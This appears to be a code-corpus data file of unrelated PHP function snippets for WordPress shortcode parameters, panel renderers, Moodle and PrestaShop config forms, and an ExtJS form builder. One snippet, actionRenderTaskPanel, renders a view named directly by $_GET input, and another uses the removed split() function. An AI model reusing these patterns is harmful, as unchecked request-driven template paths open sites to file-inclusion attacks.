esc_html__( 'Heading', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Letter Spacing', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'heading_letter_spacing',\n\t\t\t\t\t'description' => vcex_shortcode_param_description( 'letter_spacing' ),\n\t\t\t\t\t'group' => esc_html__( 'Heading', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\t// Content\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'dropdown',\n\t\t\t\t\t'heading' => esc_html__( 'Top Spacing', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'content_top_margin',\n\t\t\t\t\t'value' => vcex_margin_choices(),\n\t\t\t\t\t'group' => esc_html__( 'Content', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_colorpicker',\n\t\t\t\t\t'heading' => esc_html__( 'Background', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'content_background',\n\t\t\t\t\t'group' => esc_html__( 'Content', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_colorpicker',\n\t\t\t\t\t'heading' => esc_html__( 'Color', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'content_color',\n\t\t\t\t\t'group' => esc_html__( 'Content', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_trbl',\n\t\t\t\t\t'heading' => esc_html__( 'Margin', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'content_margin',\n\t\t\t\t\t'description' => vcex_shortcode_param_description( 'margin' ),\n\t\t\t\t\t'group' => esc_html__( 'Content', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_trbl',\n\t\t\t\t\t'heading' => esc_html__( 'Padding', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'content_padding',\n\t\t\t\t\t'description' => vcex_shortcode_param_description( 'padding' ),\n\t\t\t\t\t'group' => esc_html__( 'Content', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_responsive_sizes',\n\t\t\t\t\t'target' => 'font-size',\n\t\t\t\t\t'heading' => esc_html__( 'Font Size', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'content_font_size',\n\t\t\t\t\t'description' => vcex_shortcode_param_description( 'font_size' ),\n\t\t\t\t\t'group' => esc_html__( 'Content', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_font_weight',\n\t\t\t\t\t'heading' => esc_html__( 'Font Weight', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'content_font_weight',\n\t\t\t\t\t'group' => esc_html__( 'Content', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\t// Media\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'dropdown',\n\t\t\t\t\t'heading' => esc_html__( 'Source', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'image_source',\n\t\t\t\t\t'std' => 'media_library',\n\t\t\t\t\t'value' => array(\n\t\t\t\t\t\tesc_html__( 'Media Library', 'total-theme-core' ) => 'media_library',\n\t\t\t\t\t\tesc_html__( 'External', 'total-theme-core' ) => 'external',\n\t\t\t\t\t),\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'attach_image',\n\t\t\t\t\t'heading' => esc_html__( 'Image', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'image',\n\t\t\t\t\t'dependency' => array( 'element' => 'image_source', 'value' => 'media_library' ),\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'External Image URL', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'external_image',\n\t\t\t\t\t'dependency' => array( 'element' => 'image_source', 'value' => 'external' ),\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Image Alt', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'image_alt',\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t\t'dependency' => array( 'element' => 'image', 'not_empty' => true ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Video link', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'video',\n\t\t\t\t\t'description' => esc_html__( 'Enter in a video URL that is compatible with WordPress\\'s built-in oEmbed feature.', 'total-theme-core' ),\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_select_buttons',\n\t\t\t\t\t'heading' => esc_html__( 'Image Style', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_style',\n\t\t\t\t\t'std' => '',\n\t\t\t\t\t'choices' => array(\n\t\t\t\t\t\t'' => esc_html__( 'Auto', 'total-theme-core' ),\n\t\t\t\t\t\t'stretch' => esc_html__( 'Stretch', 'total-theme-core' ),\n\t\t\t\t\t),\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_text_alignments',\n\t\t\t\t\t'heading' => esc_html__( 'Align', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_align',\n\t\t\t\t\t'std' => '',\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'dropdown',\n\t\t\t\t\t'heading' => esc_html__( 'Border Radius', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_border_radius',\n\t\t\t\t\t'value' => vcex_border_radius_choices(),\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'dropdown',\n\t\t\t\t\t'heading' => esc_html__( 'Bottom Margin', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_bottom_margin',\n\t\t\t\t\t'value' => vcex_margin_choices(),\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_image_sizes',\n\t\t\t\t\t'heading' => esc_html__( 'Image Size', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_size',\n\t\t\t\t\t'std' => 'wpex_custom',\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t\t'dependency' => array( 'element' => 'image_source', 'value' => 'media_library' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_image_crop_locations',\n\t\t\t\t\t'heading' => esc_html__( 'Image Crop Location', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_crop',\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t\t'dependency' => array( 'element' => 'img_size', 'value' => 'wpex_custom' ),\n\t\t\t\t\t'dependency' => array( 'element' => 'image_source', 'value' => 'media_library' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Image Crop Width', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_width',\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t\t'dependency' => array( 'element' => 'img_size', 'value' => 'wpex_custom' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Image Crop Height', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_height',\n\t\t\t\t\t'description' => esc_html__( 'Leave empty to disable vertical cropping and keep image proportions.', 'total-theme-core' ),\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t\t'dependency' => array( 'element' => 'img_size', 'value' => 'wpex_custom' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_image_filters',\n\t\t\t\t\t'heading' => esc_html__( 'Image Filter', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_filter',\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_image_hovers',\n\t\t\t\t\t'heading' => esc_html__( 'CSS3 Image Hover', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'img_hover_style',\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\t// Link\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vc_link',\n\t\t\t\t\t'heading' => esc_html__( 'URL', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'url',\n\t\t\t\t\t'group' => esc_html__( 'Link', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_ofswitch',\n\t\t\t\t\t'heading' => esc_html__( 'Local Scroll', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'url_local_scroll',\n\t\t\t\t\t'group' => esc_html__( 'Link', 'total-theme-core' ),\n\t\t\t\t\t'std' => 'false',\n\t\t\t\t),\n\t\t\t\t// CSS\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'css_editor',\n\t\t\t\t\t'heading' => esc_html__( 'CSS box', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'css',\n\t\t\t\t\t'group' => esc_html__( 'CSS', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t);\n\n\t\t\treturn apply_filters( 'vcex_shortcode_params', $params, 'vcex_teaser' );\n\n\t\t}", "public function actionRenderTaskPanel() {\n if (isset($_GET['panel'])) {\n $model = null;\n $inner = false;\n\n switch ($_GET['panel']) {\n case 'search':\n $model = new SearchForm;\n break;\n case 'statistics':\n $model = new SearchForm;\n if (isset($_GET['form'])) {\n $this->renderPartial($_GET['form'], null, false, true);\n $inner = true;\n }\n break;\n }\n\n if (!$inner)\n $this->renderPartial($_GET['panel'], array('model' => $model), false, true);\n }\n }", "public function parameters()\n\t{\n\t\treturn [\n\t\t\t'parent_id' => $this->input('parent_id'),\n\t\t\t'title' => $this->input('title'),\n\t\t\t'icon' => $this->input('icon'),\n\t\t\t'description' => $this->input('description'),\n\t\t\t'is_active' => $this->has('is_active')\n\t\t];\n\t}", "protected function parameters()\n {\n $column = array('data' => 0, 'name' => '', 'searchable' => true);\n\n $column['orderable'] = true;\n\n $column['search'] = array('value' => '', 'regex' => false);\n\n $data = array('draw' => 1, 'columns' => array());\n\n $data['order'] = array('column' => 0, 'dir' => 'asc');\n\n $data['start'] = 0;\n\n $data['length'] = 10;\n\n $data['search'] = $column['search'];\n\n $first = $second = $third = $column;\n\n $first['data'] = 1;\n\n $second['data'] = 2;\n\n $third['data'] = 3;\n\n $data['columns'] = array($column, $first, $second, $third);\n\n return $data;\n }", "public function getPanel()\n {\n $html = '';\n foreach ($this->_count as $count) {\n $html .= $count['name']. ' - '.$count['total'].' ('.$count['users'].')'.'<br/>';\n }\n \n $body = Zend_Controller_Front::getInstance()->getResponse()->getBody();\n $panel = '<h4>К-во пользователей онлайн:</h4>'.$html;\n return $panel;\n }", "public function panelButtons()\n {\n\n $i18n = $this->getI18n();\n $html = '';\n \n if ($this->buttons || $this->filterButtons) {\n $html .= '<div class=\"wgt-panel\" >';\n \n if ($this->buttons) {\n $html .= '<div class=\"left\" >';\n $html .= $this->buildButtons();\n $html .= '</div>';\n }\n \n if ($this->filterButtons) {\n $html .= '<div class=\"right\" ><div class=\"left\" ><strong>'.$i18n->l('Filters', 'wbf.label').'&nbsp;|&nbsp;</strong></div>';\n $html .= $this->buildButtons($this->filterButtons);\n $html .= '</div>';\n }\n \n if ($this->filterPanel) {\n $html .= $this->filterPanel->render();\n }\n \n $html .= '</div>';\n }\n \n return $html;\n \n }", "public function buildPanels() {\n return array($this);\n }", "function wp_idolondemand_get_parametric_values($args) {\n\textract($args);\n\techo $before_widget;\n\techo $before_title;?>get_parametric_values<?php echo $after_title;\n\tdisplay_wp_idolondemand_get_parametric_values();\n\techo $after_widget;\n}", "public static function data_for_plans_page_parameters() {\n $userid = new external_value(\n PARAM_INT,\n 'The user id',\n VALUE_REQUIRED\n );\n $params = array('userid' => $userid);\n return new external_function_parameters($params);\n }", "static function plInfo()\n {\n return array(\n \"plShortName\" => _(\"Argonaut Mirror settings\"),\n \"plDescription\" => _(\"Argonaut Mirror settings\").\" (\"._(\"Services\").\")\",\n \"plIcon\" => \"plugins/argonaut/images/iconMiniMirrorConfig.png\",\n\n \"plProvidedAcls\" => parent::generatePlProvidedAcls(self::getAttributesInfo())\n );\n }", "function getParameters() {\n $ar = split(\";\", $GLOBALS[\"pagedata\"][\"module\"]);\n for ($c = 0; $c < sizeof($ar); $c++) {\n $a = split(\"=\", $ar[$c]);\n $this->module_param[$a[0]] = $a[1];\n }\n }", "function getParameters() {\n $ar = split(\";\", $GLOBALS[\"pagedata\"][\"module\"]);\n for ($c = 0; $c < sizeof($ar); $c++) {\n $a = split(\"=\", $ar[$c]);\n $this->module_param[$a[0]] = $a[1];\n }\n }", "public function getLayoutParameters(): array;", "public function render()\n {\n $content = \"Ext.create('Ext.form.Panel', {\";\n \n $content .= \"frame: true\";\n \n if ($this->getAction()) {\n $content .= \", url: '\" . $this->getAction() . \"'\";\n }\n \n foreach ($this->getAttribs() as $name => $value) {\n $content .= \", \";\n \n switch ($name) {\n case 'renderTo':\n $content .= \"renderTo: Ext.get('\" . (string)$value . \"')\";\n break;\n case 'height':\n case 'width':\n $content .= $name . \": \" . (int)$value;\n break;\n case 'standardSubmit':\n case 'hidden':\n $content .= $name . \": \" . ((boolean)$value === true ? 'true' : 'false');\n break;\n case 'onEnter':\n $content .= \"listeners: {\n afterRender: function(form, options){\n this.keyNav = Ext.create('Ext.util.KeyNav', this.el, {\n enter: function() {\" . $value . \"},\n scope: this\n });\n }\n }\";\n break;\n case 'defaults':\n $content .= \"defaults: \" . (string)$value;\n break;\n default:\n $content .= $name . \": '\" . htmlspecialchars((string)$value, ENT_QUOTES) . \"'\";\n break;\n }\n }\n \n if (!$this->getAttrib('renderTo')) {\n $content .= \", renderTo: Ext.getBody()\";\n }\n \n $content .= \", items: [\";\n \n if ($this->hasSubForms()) {\n $iterator = new ArrayIterator($this->getSubForms());\n while($iterator->valid()) {\n $subForm = $iterator->current();\n $content .= \"{\";\n \n if ($subForm->getAttrib('width')) {\n $content .= \"width: \" . (int)$subForm->getAttrib('width') . \",\";\n }\n \n $content .= $subForm->render();\n \n $content .= \"}\";\n \n $iterator->next();\n if ($iterator->valid()) {\n $content .= \",\";\n } \n }\n }\n \n if ($this->hasElements()) {\n $iterator = new ArrayIterator($this->getElements());\n while ($iterator->valid()) {\n $element = $iterator->current();\n $content .= $element->render();\n \n $iterator->next();\n if ($iterator->valid()) {\n $content .= \",\";\n }\n }\n }\n\n $content .= \"],\";\n \n $content .= \"buttons: [\";\n \n $iterator = new ArrayIterator($this->getButtons());\n while ($iterator->valid()) {\n $button = $iterator->current();\n \n $content .= $button->render();\n \n $iterator->next();\n \n if ($iterator->valid()) {\n $content .= \",\";\n }\n \n }\n \n $content .= \"]\";\n \n $content .= '});';\n \n return $content;\n }", "public function panels()\n {\n }", "public function panel_config( $panel ) {\n\t\tinclude $this->dir_path . 'panel-config.php';\n\n\t\treturn $panel;\n\t}", "function getParams()\n {\n global $id;\n global $mode;\n global $data_source;\n global $view_mode;\n global $edit_mode;\n global $tab;\n if (isset($id)) {\n $this->id = $id;\n }\n if (isset($mode)) {\n $this->mode = $mode;\n }\n if (isset($data_source)) {\n $this->data_source = $data_source;\n }\n if (isset($view_mode)) {\n $this->view_mode = $view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode = $edit_mode;\n }\n if (isset($tab)) {\n $this->tab = $tab;\n }\n }", "protected function getConfigForm()\n {\n // toDo: Add config to choose items showed by viewedItems\n return array(\n 'form' => array(\n 'legend' => array(\n 'title' => $this->l('Settings'),\n 'icon' => 'icon-cogs',\n ),\n 'input' => array(\n array(\n 'type' => 'switch',\n 'label' => $this->l('Live mode'),\n 'name' => 'CAPTURELEADSXAVIER_LIVE_MODE',\n 'is_bool' => true,\n 'desc' => $this->l('Use this module in live mode'),\n 'values' => array(\n array(\n 'id' => 'active_on',\n 'value' => true,\n 'label' => $this->l('Enabled')\n ),\n array(\n 'id' => 'active_off',\n 'value' => false,\n 'label' => $this->l('Disabled')\n )\n ),\n ),\n array(\n 'col' => 3,\n 'type' => 'text',\n 'prefix' => '<i class=\"icon icon-envelope\"></i>',\n 'desc' => $this->l('Enter a valid email address'),\n 'name' => 'CAPTURELEADSXAVIER_ACCOUNT_EMAIL',\n 'label' => $this->l('Email'),\n ),\n array(\n 'type' => 'password',\n 'name' => 'CAPTURELEADSXAVIER_ACCOUNT_PASSWORD',\n 'label' => $this->l('Password'),\n ),\n array(\n 'type' => 'radio',\n 'label' => $this->l('Column selector'),\n 'name' => 'CAPTURELEADSXAVIER_COL_SEL',\n 'required' => true,\n 'is_bool' => true,\n 'desc' => $this->l('Select on what column you want the module'),\n 'values' => array(\n array(\n 'id' => 'col_left',\n 'value' => \"left\",\n 'label' => $this->l('Left')\n ),\n array(\n 'id' => 'col_right',\n 'value' => \"right\",\n 'label' => $this->l('Right')\n )\n\n ),\n ),\n \n ),\n 'submit' => array(\n 'title' => $this->l('Save'),\n )\n )\n );\n }", "public function setArguments() {\n\n $theme = wp_get_theme(); // For use with some settings. Not necessary.\n\n $this->args = array(\n // TYPICAL -> Change these values as you need/desire\n 'opt_name' => 'neattheme', // This is where your data is stored in the database and also becomes your global variable name.\n 'display_name' => $theme->get('Name'), // Name that appears at the top of your panel\n 'display_version' => $theme->get('Version'), // Version that appears at the top of your panel\n 'menu_type' => 'submenu', //Specify if the admin menu should appear or not. Options: menu or submenu (Under appearance only)\n 'allow_sub_menu' => true, // Show the sections below the admin menu item or not\n 'menu_title' => __('Theme Options', 'neat'),\n 'page' => __('Theme Options', 'neat'),\n // You will need to generate a Google API key to use this feature.\n // Please visit: https://developers.google.com/fonts/docs/developer_api#Auth\n 'google_api_key' => '', // Must be defined to add google fonts to the typography module\n 'async_typography' => true,\n //'admin_bar' => false, // Show the panel pages on the admin bar\n 'global_variable' => '', // Set a different name for your global variable other than the opt_name\n 'dev_mode' => false, // Show the time the page took to load, etc\n 'customizer' => true, // Enable basic customizer support\n // OPTIONAL -> Give you extra features\n 'page_priority' => null, // Order where the menu appears in the admin area. If there is any conflict, something will not show. Warning.\n 'page_parent' => 'themes.php', // For a full list of options, visit: http://codex.wordpress.org/Function_Reference/add_submenu_page#Parameters\n 'page_permissions' => 'manage_options', // Permissions needed to access the options panel.\n 'menu_icon' => '', // Specify a custom URL to an icon\n 'last_tab' => '', // Force your panel to always open to a specific tab (by id)\n 'page_icon' => 'icon-themes', // Icon displayed in the admin panel next to your menu_title\n 'page_slug' => '_options', // Page slug used to denote the panel\n 'save_defaults' => true, // On load save the defaults to DB before user clicks save or not\n 'default_show' => false, // If true, shows the default value next to each field that is not the default value.\n 'default_mark' => '', // What to print by the field's title if the value shown is default. Suggested: *\n // CAREFUL -> These options are for advanced use only\n 'transient_time' => 60 * MINUTE_IN_SECONDS,\n 'output' => true, // Global shut-off for dynamic CSS output by the framework. Will also disable google fonts output\n 'output_tag' => true, // Allows dynamic CSS to be generated for customizer and google fonts, but stops the dynamic CSS from going to the head\n //'domain' \t=> 'redux-framework', // Translation domain key. Don't change this unless you want to retranslate all of Redux.\n //'footer_credit' \t=> '', // Disable the footer credit of Redux. Please leave if you can help it.\n // FUTURE -> Not in use yet, but reserved or partially implemented. Use at your own risk.\n 'database' => '', // possible: options, theme_mods, theme_mods_expanded, transient. Not fully functional, warning!\n 'show_import_export' => true, // REMOVE\n 'system_info' => false, // REMOVE\n 'help_tabs' => array(),\n 'help_sidebar' => '', // __( '', $this->args['domain'] ); \n );\n $this->args['share_icons'][] = array(\n 'url' => 'https://twitter.com/marstheme',\n 'title' => 'Follow us on Twitter',\n 'icon' => 'el-icon-twitter'\n );\n // Panel Intro text -> before the form\n if (!isset($this->args['global_variable']) || $this->args['global_variable'] !== false) {\n if (!empty($this->args['global_variable'])) {\n $v = $this->args['global_variable'];\n } else {\n $v = str_replace(\"-\", \"_\", $this->args['opt_name']);\n }\n $this->args['intro_text'] = sprintf(__('<p>Did you know that Redux sets a global variable for you? To access any of your saved options from within your code you can use your global variable: <strong>$%1$s</strong></p>', 'neat'), $v);\n } else {\n $this->args['intro_text'] = __('<p>This text is displayed above the options panel. It isn\\'t required, but more info is always better! The intro_text field accepts all HTML.</p>', 'neat');\n }\n\n // Add content after the form.\n //$this->args['footer_text'] = __('<p>This text is displayed below the options panel. It isn\\'t required, but more info is always better! The footer_text field accepts all HTML.</p>', 'neat');\n }", "public function request_export_fields()\n {\n $academic_year = isset($_GET['academic_year']) ? $_GET['academic_year'] : null;\n $degree = isset($_GET['degree']) ? $_GET['degree'] : null;\n $grade = isset($_GET['grade']) ? $_GET['grade'] : null;\n $department = isset($_GET['department']) ? $_GET['department'] : null;\n $gender = isset($_GET['gender']) ? $_GET['gender'] : null;\n $option = isset($_GET['option']) ? $_GET['option'] : null;\n $origin = isset($_GET['origin']) ? $_GET['origin'] : null;\n $semester = isset($_GET['semester']) ? $_GET['semester'] : null;\n $redouble = isset($_GET['redouble']) ? $_GET['redouble'] : null;\n $group = isset($_GET['group']) ? $_GET['group'] : null;\n $radie = isset($_GET['radie']) ? $_GET['radie'] : null;\n // else, from custom list\n\n $student_ids = isset($_GET['student_ids']) ? $_GET['student_ids'] : null;\n\n return view('backend.studentAnnual.popup_export', compact('academic_year', 'department', 'degree', 'grade', 'gender', 'option', 'origin', 'student_ids', 'semester', 'group', 'radie', 'redouble'));\n }", "public static function data_for_user_competency_summary_in_plan_parameters() {\n $competencyid = new external_value(\n PARAM_INT,\n 'Data base record id for the competency',\n VALUE_REQUIRED\n );\n $planid = new external_value(\n PARAM_INT,\n 'Data base record id for the plan',\n VALUE_REQUIRED\n );\n\n $params = array(\n 'competencyid' => $competencyid,\n 'planid' => $planid,\n );\n return new external_function_parameters($params);\n }", "public function getPanel()\n {\n \t$this->_timer['postDispatch'] = isset($this->_timer['postDispatch']) ? \n \t\t$this->_timer['postDispatch'] : '';\n \t$this->_timer['preDispatch'] = isset($this->_timer['preDispatch']) ? \n \t\t$this->_timer['preDispatch'] : '';\n \t\t\n \treturn parent::getPanel();\n }", "public\tfunction\tpanelSettings() {\n\t\t\t//Load the panel matching the settings slug.\n\t\t\tself::panel('FrozenPlugin-settings');\n\t\t}", "public function render() {\n return [\n 'command' => 'slideCommand',\n 'action' => $this->action,\n 'bo_view_dom_id' => $this->bo_view_dom_id,\n 'entity_id' => $this->entity_id,\n ];\n }", "public static function get_params() {\n\n\t\t\t$params = array(\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'admin_label' => true,\n\t\t\t\t\t'heading' => esc_html__( 'Height', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'size',\n\t\t\t\t\t'value' => '30px',\n\t\t\t\t\t'description' => vcex_shortcode_param_description( 'height' ),\n\t\t\t\t\t'dependency' => array( 'element' => 'responsive', 'value' => 'false' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_ofswitch',\n\t\t\t\t\t'heading' => esc_html__( 'Responsive?', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'responsive',\n\t\t\t\t\t'value' => 'false',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_responsive_sizes',\n\t\t\t\t\t'heading' => esc_html__( 'Height', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'size_responsive',\n\t\t\t\t\t'value' => '30px',\n\t\t\t\t\t'description' => vcex_shortcode_param_description( 'height' ),\n\t\t\t\t\t'dependency' => array( 'element' => 'responsive', 'value' => 'true' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Custom Classes', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'class',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_visibility',\n\t\t\t\t\t'heading' => esc_html__( 'Visibility', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'visibility',\n\t\t\t\t),\n\t\t\t);\n\n\t\t\treturn apply_filters( 'vcex_shortcode_params', $params, 'vcex_spacing' );\n\n\t\t}", "public static function settings_to_params() {\n\t\t\treturn [\n\t\t\t\t'full_width_border_color' => 'border_color',\n\t\t\t\t'full_width_border_size' => 'border_size',\n\t\t\t\t'full_width_bg_color' => 'background_color',\n\t\t\t\t'full_width_gradient_start_color' => 'gradient_start_color',\n\t\t\t\t'full_width_gradient_end_color' => 'gradient_end_color',\n\t\t\t\t'link_color' => 'link_color',\n\t\t\t\t'link_hover_color' => 'primary_color',\n\t\t\t];\n\t\t}", "public function htheme_add_params(){\r\n\r\n\t\t#VC ROW PARAMS\r\n\t\tvc_add_param(\"vc_row\", array(\r\n\t\t\t\"type\" => \"dropdown\",\r\n\t\t\t\"class\" => \"\",\r\n\t\t\t\"heading\" => \"Padding (Row)\",\r\n\t\t\t'category' => esc_html__( 'Content', 'js_composer' ),\r\n\t\t\t\"param_name\" => \"row_padding\",\r\n\t\t\t\"value\" => array(\r\n\t\t\t\t\"None\" => \"none\",\r\n\t\t\t\t\"Top and Bottom\" => \"row_padding_top_bottom\",\r\n\t\t\t\t\"Top Only\" => \"row_padding_top\",\r\n\t\t\t\t\"Bottom Only\" => \"row_padding_bottom\",\r\n\t\t\t),\r\n\t\t\t'description' => esc_html__( 'Select the row padding (Top, Bottom)', 'js_composer' ),\r\n\t\t));\r\n\r\n\t\tvc_add_param(\"vc_row\", array(\r\n\t\t\t\"type\" => \"dropdown\",\r\n\t\t\t\"class\" => \"\",\r\n\t\t\t\"heading\" => \"Margin (Row)\",\r\n\t\t\t'category' => esc_html__( 'Content', 'js_composer' ),\r\n\t\t\t\"param_name\" => \"row_margin\",\r\n\t\t\t\"value\" => array(\r\n\t\t\t\t\"Top and Bottom\" => \"row_margin_top_bottom\",\r\n\t\t\t\t\"Top Only\" => \"row_margin_top\",\r\n\t\t\t\t\"Bottom Only\" => \"row_margin_bottom\",\r\n\t\t\t\t\"None\" => \"none\",\r\n\t\t\t),\r\n\t\t\t'description' => esc_html__( 'Select the row margin (Top, Bottom)', 'js_composer' ),\r\n\t\t));\r\n\r\n\t}", "function url_get_parameters() {\n $this->init_full();\n return array('id' => $this->modulerecord->id, 'pageid' => $this->lessonpageid);;\n }", "public function config($templatify = false)\n {\n $config = parent::config($templatify);\n\n $config['options']['class'] = $config['options']['class'] . ' model-report-item-panel';\n\n // ----------------------------------------------------------------------\n // PANEL\n // ----------------------------------------------------------------------\n $panelId = strtolower(htmlentities(\\Yii::$app->t::getModelClassName($config['model']) . $config['reportItemName'] . '-' . $config['id']));\n $config['panelId'] = $panelId;\n $this->outputJsData([\n 'panelId' => $panelId,\n 'reportItem' => ArrayHelper::getValue($config, 'reportItem.widgetConfig', []),\n 'modelName' => $config['modelName'],\n 'title' => ArrayHelper::getValue($config, 'reportItem.title', null),\n 'reportItemName' => $config['reportItemName'],\n 'apiEndpoint' => \\Yii::$app->reportsManager->apiEndpoint,\n ]);\n return $config;\n }", "public static function get_params() {\n\n\t\t\t$params = array(\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Shortcode', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'content',\n\t\t\t\t\t'admin_label' => true,\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'dropdown',\n\t\t\t\t\t'heading' => esc_html__( 'Bottom Margin', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'bottom_margin',\n\t\t\t\t\t'value' => vcex_margin_choices(),\n\t\t\t\t\t'admin_label' => true,\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_visibility',\n\t\t\t\t\t'heading' => esc_html__( 'Visibility', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'visibility',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Extra class name', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'el_class',\n\t\t\t\t\t'description' => esc_html__( 'Style particular content element differently - add a class name and refer to it in custom CSS.', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tvcex_vc_map_add_css_animation(),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Animation Duration', 'total'),\n\t\t\t\t\t'param_name' => 'animation_duration',\n\t\t\t\t\t'description' => esc_html__( 'Enter your custom 